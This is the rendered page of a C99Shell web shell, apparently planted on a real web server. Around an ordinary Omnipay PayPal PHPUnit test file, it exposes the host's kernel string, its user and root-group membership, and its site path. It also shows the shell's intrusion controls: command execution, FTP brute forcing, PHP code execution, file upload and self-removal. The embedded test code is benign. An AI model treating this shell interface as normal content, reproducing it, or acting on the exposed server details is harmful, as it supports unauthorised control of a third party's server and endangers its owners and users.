!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/omnipay/paypal/tests/Message/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpressAuthorizeRequestTest.php (16.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Omnipay\PayPal\Message;

use 
Omnipay\Common\CreditCard;
use 
Omnipay\Common\Exception\InvalidRequestException;
use 
Omnipay\PayPal\Message\ExpressAuthorizeRequest;
use 
Omnipay\PayPal\Support\InstantUpdateApi\BillingAgreement;
use 
Omnipay\PayPal\Support\InstantUpdateApi\ShippingOption;
use 
Omnipay\Tests\TestCase;

class 
ExpressAuthorizeRequestTest extends TestCase
{
    
/**
     * @var ExpressAuthorizeRequest
     */
    
private $request;

    public function 
setUp()
    {
        
parent::setUp();

        
$this->request = new ExpressAuthorizeRequest($this->getHttpClient(), $this->getHttpRequest());
        
$this->request->initialize(
            array(
                
'amount' => '10.00',
                
'returnUrl' => 'https://www.example.com/return',
                
'cancelUrl' => 'https://www.example.com/cancel',
            )
        );
    }

    public function 
testGetDataWithoutCard()
    {
        
$this->request->initialize(array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'noShipping' => 0,
            
'localeCode' => 'EN',
            
'allowNote' => 0,
            
'addressOverride' => 0,
            
'brandName' => 'Dunder Mifflin Paper Company, Inc.',
            
'customerServiceNumber' => '1-801-FLOWERS',
        ));

        
$data $this->request->getData();

        
$this->assertSame('10.00'$data['PAYMENTREQUEST_0_AMT']);
        
$this->assertSame('AUD'$data['PAYMENTREQUEST_0_CURRENCYCODE']);
        
$this->assertSame('111'$data['PAYMENTREQUEST_0_INVNUM']);
        
$this->assertSame('Order Description'$data['PAYMENTREQUEST_0_DESC']);
        
$this->assertSame('https://www.example.com/return'$data['RETURNURL']);
        
$this->assertSame('https://www.example.com/cancel'$data['CANCELURL']);
        
$this->assertSame('demo@example.com'$data['SUBJECT']);
        
$this->assertSame('https://www.example.com/header.jpg'$data['HDRIMG']);
        
$this->assertSame(0$data['NOSHIPPING']);
        
$this->assertSame(0$data['ALLOWNOTE']);
        
$this->assertSame('EN'$data['LOCALECODE']);
        
$this->assertSame(0$data['ADDROVERRIDE']);
        
$this->assertSame('Dunder Mifflin Paper Company, Inc.'$data['BRANDNAME']);
        
$this->assertSame('1-801-FLOWERS'$data['CUSTOMERSERVICENUMBER']);
    }

    public function 
testGetDataWithCard()
    {
        
$this->request->initialize(array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'noShipping' => 2,
            
'allowNote' => 1,
            
'addressOverride' => 1,
            
'brandName' => 'Dunder Mifflin Paper Company, Inc.',
            
'maxAmount' => 123.45,
            
'logoImageUrl' => 'https://www.example.com/logo.jpg',
            
'borderColor' => 'CCCCCC',
            
'localeCode' => 'EN',
            
'customerServiceNumber' => '1-801-FLOWERS',
            
'sellerPaypalAccountId' => 'billing@example.com',
        ));

        
$card = new CreditCard(array(
            
'name' => 'John Doe',
            
'address1' => '123 NW Blvd',
            
'address2' => 'Lynx Lane',
            
'city' => 'Topeka',
            
'state' => 'KS',
            
'country' => 'USA',
            
'postcode' => '66605',
            
'phone' => '555-555-5555',
            
'email' => 'test@email.com',
        ));
        
$this->request->setCard($card);

        
$expected = array(
            
'METHOD' => 'SetExpressCheckout',
            
'VERSION' => ExpressAuthorizeRequest::API_VERSION,
            
'USER' => null,
            
'PWD' => null,
            
'SIGNATURE' => null,
            
'PAYMENTREQUEST_0_PAYMENTACTION' => 'Authorization',
            
'SOLUTIONTYPE' => null,
            
'LANDINGPAGE' => null,
            
'NOSHIPPING' => 2,
            
'ALLOWNOTE' => 1,
            
'ADDROVERRIDE' => 1,
            
'PAYMENTREQUEST_0_AMT' => '10.00',
            
'PAYMENTREQUEST_0_CURRENCYCODE' => 'AUD',
            
'PAYMENTREQUEST_0_INVNUM' => '111',
            
'PAYMENTREQUEST_0_DESC' => 'Order Description',
            
'RETURNURL' => 'https://www.example.com/return',
            
'CANCELURL' => 'https://www.example.com/cancel',
            
'SUBJECT' => 'demo@example.com',
            
'HDRIMG' => 'https://www.example.com/header.jpg',
            
'PAYMENTREQUEST_0_SHIPTONAME' => 'John Doe',
            
'PAYMENTREQUEST_0_SHIPTOSTREET' => '123 NW Blvd',
            
'PAYMENTREQUEST_0_SHIPTOSTREET2' => 'Lynx Lane',
            
'PAYMENTREQUEST_0_SHIPTOCITY' => 'Topeka',
            
'PAYMENTREQUEST_0_SHIPTOSTATE' => 'KS',
            
'PAYMENTREQUEST_0_SHIPTOCOUNTRYCODE' => 'USA',
            
'PAYMENTREQUEST_0_SHIPTOZIP' => '66605',
            
'PAYMENTREQUEST_0_SHIPTOPHONENUM' => '555-555-5555',
            
'EMAIL' => 'test@email.com',
            
'BRANDNAME' => 'Dunder Mifflin Paper Company, Inc.',
            
'MAXAMT' => 123.45,
            
'PAYMENTREQUEST_0_TAXAMT' => null,
            
'PAYMENTREQUEST_0_SHIPPINGAMT' => null,
            
'PAYMENTREQUEST_0_HANDLINGAMT' => null,
            
'PAYMENTREQUEST_0_SHIPDISCAMT' => null,
            
'PAYMENTREQUEST_0_INSURANCEAMT' => null,
            
'LOGOIMG' => 'https://www.example.com/logo.jpg',
            
'CARTBORDERCOLOR' => 'CCCCCC',
            
'LOCALECODE' => 'EN',
            
'CUSTOMERSERVICENUMBER' => '1-801-FLOWERS',
            
'PAYMENTREQUEST_0_SELLERPAYPALACCOUNTID' => 'billing@example.com',
        );

        
$this->assertEquals($expected$this->request->getData());
    }

    public function 
testGetDataWithItems()
    {
        
$this->request->setItems(array(
            array(
'name' => 'Floppy Disk''description' => 'MS-DOS''quantity' => 2'price' => 10'code' => '123456'),
            array(
'name' => 'CD-ROM''description' => 'Windows 95''quantity' => 1'price' => 40),
        ));

        
$data $this->request->getData();
        
$this->assertSame('Floppy Disk'$data['L_PAYMENTREQUEST_0_NAME0']);
        
$this->assertSame('MS-DOS'$data['L_PAYMENTREQUEST_0_DESC0']);
        
$this->assertSame(2$data['L_PAYMENTREQUEST_0_QTY0']);
        
$this->assertSame('10.00'$data['L_PAYMENTREQUEST_0_AMT0']);
        
$this->assertSame('123456'$data['L_PAYMENTREQUEST_0_NUMBER0']);

        
$this->assertSame('CD-ROM'$data['L_PAYMENTREQUEST_0_NAME1']);
        
$this->assertSame('Windows 95'$data['L_PAYMENTREQUEST_0_DESC1']);
        
$this->assertSame(1$data['L_PAYMENTREQUEST_0_QTY1']);
        
$this->assertSame('40.00'$data['L_PAYMENTREQUEST_0_AMT1']);

        
$this->assertSame('60.00'$data['PAYMENTREQUEST_0_ITEMAMT']);
    }

    public function 
testGetDataWithExtraOrderDetails()
    {
        
$this->request->initialize(array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'noShipping' => 0,
            
'allowNote' => 0,
            
'addressOverride' => 0,
            
'brandName' => 'Dunder Mifflin Paper Company, Inc.',
            
'taxAmount' => '2.00',
            
'shippingAmount' => '5.00',
            
'handlingAmount' => '1.00',
            
'shippingDiscount' => '-1.00',
            
'insuranceAmount' => '3.00',
        ));

        
$data $this->request->getData();
        
$this->assertSame('2.00'$data['PAYMENTREQUEST_0_TAXAMT']);
        
$this->assertSame('5.00'$data['PAYMENTREQUEST_0_SHIPPINGAMT']);
        
$this->assertSame('1.00'$data['PAYMENTREQUEST_0_HANDLINGAMT']);
        
$this->assertSame('-1.00'$data['PAYMENTREQUEST_0_SHIPDISCAMT']);
        
$this->assertSame('3.00'$data['PAYMENTREQUEST_0_INSURANCEAMT']);
    }

    public function 
testHeaderImageUrl()
    {
        
$this->assertSame($this->request$this->request->setHeaderImageUrl('https://www.example.com/header.jpg'));
        
$this->assertSame('https://www.example.com/header.jpg'$this->request->getHeaderImageUrl());

        
$data $this->request->getData();
        
$this->assertEquals('https://www.example.com/header.jpg'$data['HDRIMG']);
    }

    public function 
testMaxAmount()
    {
        
$this->request->setMaxAmount(321.54);

        
$this->assertSame(321.54$this->request->getMaxAmount());

        
$data $this->request->getData();

        
$this->assertSame(321.54$data['MAXAMT']);
    }

    public function 
testDataWithCallback()
    {
        
$baseData = array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'allowNote' => 0,
            
'addressOverride' => 0,
            
'brandName' => 'Dunder Mifflin Paper Company, Incy.',
        );

        
$shippingOptions = array(
            new 
ShippingOption('First Class'1.20true'1-2 days'),
            new 
ShippingOption('Second Class'0.70false'3-5 days'),
            new 
ShippingOption('International'3.50),
        );

        
// with a default callback timeout
        
$this->request->initialize(array_merge($baseData, array(
            
'callback' => 'https://www.example.com/calculate-shipping',
            
'shippingOptions' => $shippingOptions,
        )));

        
$data $this->request->getData();
        
$this->assertSame('https://www.example.com/calculate-shipping'$data['CALLBACK']);
        
$this->assertSame(ExpressAuthorizeRequest::DEFAULT_CALLBACK_TIMEOUT$data['CALLBACKTIMEOUT']);

        
$this->assertSame('First Class'$data['L_SHIPPINGOPTIONNAME0']);
        
$this->assertSame('1.20'$data['L_SHIPPINGOPTIONAMOUNT0']);
        
$this->assertSame('1'$data['L_SHIPPINGOPTIONISDEFAULT0']);
        
$this->assertSame('1-2 days'$data['L_SHIPPINGOPTIONLABEL0']);

        
$this->assertSame('Second Class'$data['L_SHIPPINGOPTIONNAME1']);
        
$this->assertSame('0.70'$data['L_SHIPPINGOPTIONAMOUNT1']);
        
$this->assertSame('0'$data['L_SHIPPINGOPTIONISDEFAULT1']);
        
$this->assertSame('3-5 days'$data['L_SHIPPINGOPTIONLABEL1']);

        
$this->assertSame('International'$data['L_SHIPPINGOPTIONNAME2']);
        
$this->assertSame('3.50'$data['L_SHIPPINGOPTIONAMOUNT2']);
        
$this->assertSame('0'$data['L_SHIPPINGOPTIONISDEFAULT2']);

        
// with a defined callback timeout
        
$this->request->initialize(array_merge($baseData, array(
            
'callback' => 'https://www.example.com/calculate-shipping',
            
'callbackTimeout' => 10,
            
'shippingOptions' => $shippingOptions,
        )));

        
$data $this->request->getData();
        
$this->assertSame('https://www.example.com/calculate-shipping'$data['CALLBACK']);
        
$this->assertSame(10$data['CALLBACKTIMEOUT']);
    }

    public function 
testDataWithCallbackAndNoDefaultShippingOption()
    {
        
$baseData = array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'allowNote' => 0,
            
'addressOverride' => 0,
            
'brandName' => 'Dunder Mifflin Paper Company, Incy.',
        );

        
$shippingOptions = array(
            new 
ShippingOption('First Class'1.20false'1-2 days'),
            new 
ShippingOption('Second Class'0.70false'3-5 days'),
            new 
ShippingOption('International'3.50),
        );

        
// with a default callback timeout
        
$this->request->initialize(array_merge($baseData, array(
            
'callback' => 'https://www.example.com/calculate-shipping',
            
'shippingOptions' => $shippingOptions,
        )));

        
$this->expectException(InvalidRequestException::class);
        
$this->expectExceptionMessage('One of the supplied shipping options must be set as default');

        
$this->request->getData();
    }

    public function 
testNoAmount()
    {
        
$baseData = array(// nothing here - should cause a certain exception
        
);

        
$this->request->initialize($baseData);

        
$this->expectException(InvalidRequestException::class);
        
$this->expectExceptionMessage('The amount parameter is required');

        
$this->request->getData();
    }

    public function 
testAmountButNoReturnUrl()
    {
        
$baseData = array(
            
'amount' => 10.00,
        );

        
$this->request->initialize($baseData);

        
$this->expectException(InvalidRequestException::class);
        
$this->expectExceptionMessage('The returnUrl parameter is required');

        
$this->request->getData();
    }

    public function 
testBadCallbackConfiguration()
    {
        
$baseData = array(
            
'amount' => '10.00',
            
'currency' => 'AUD',
            
'transactionId' => '111',
            
'description' => 'Order Description',
            
'returnUrl' => 'https://www.example.com/return',
            
'cancelUrl' => 'https://www.example.com/cancel',
            
'subject' => 'demo@example.com',
            
'headerImageUrl' => 'https://www.example.com/header.jpg',
            
'allowNote' => 0,
            
'addressOverride' => 0,
            
'brandName' => 'Dunder Mifflin Paper Company, Incy.',
        );

        
$this->request->initialize(array_merge($baseData, array(
            
'callback' => 'https://www.example.com/calculate-shipping',
        )));

        
// from the docblock on this exception -
        // Thrown when a request is invalid or missing required fields.
        // callback has been set but no shipping options so expect one of these:
        
$this->expectException(InvalidRequestException::class);

        
$this->request->getData();
    }

    public function 
testGetDataWithSingleBillingAgreement()
    {
        
$billingAgreement = new BillingAgreement(false'Some Stuff');
        
$this->request->setBillingAgreement($billingAgreement);

        
$data $this->request->getData();

        
$this->assertSame('MerchantInitiatedBillingSingleAgreement'$data['L_BILLINGTYPE0']);
        
$this->assertSame('Some Stuff'$data['L_BILLINGAGREEMENTDESCRIPTION0']);
    }

    public function 
testGetDataWithRecurringBillingAgreement()
    {
        
$billingAgreement = new BillingAgreement(true'Some Stuff');
        
$this->request->setBillingAgreement($billingAgreement);

        
$data $this->request->getData();

        
$this->assertSame('MerchantInitiatedBilling'$data['L_BILLINGTYPE0']);
        
$this->assertSame('Some Stuff'$data['L_BILLINGAGREEMENTDESCRIPTION0']);
    }

    public function 
testGetDataWithBillingAgreementOptionalParameters()
    {
        
$billingAgreement = new BillingAgreement(true'Some Stuff''InstantOnly''Some custom annotation');
        
$this->request->setBillingAgreement($billingAgreement);

        
$data $this->request->getData();

        
$this->assertSame('MerchantInitiatedBilling'$data['L_BILLINGTYPE0']);
        
$this->assertSame('Some Stuff'$data['L_BILLINGAGREEMENTDESCRIPTION0']);
        
$this->assertSame('InstantOnly'$data['L_PAYMENTTYPE0']);
        
$this->assertSame('Some custom annotation'$data['L_BILLINGAGREEMENTCUSTOM0']);
    }

    
/**
     *
     */
    
public function testGetDataWithBillingAgreementWrongPaymentType()
    {
        
$this->expectException(InvalidRequestException::class);
        
$this->expectExceptionMessage("The 'paymentType' parameter can be only 'Any' or 'InstantOnly'");

        
$billingAgreement = new BillingAgreement(false'Some Stuff''BadType''Some custom annotation');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--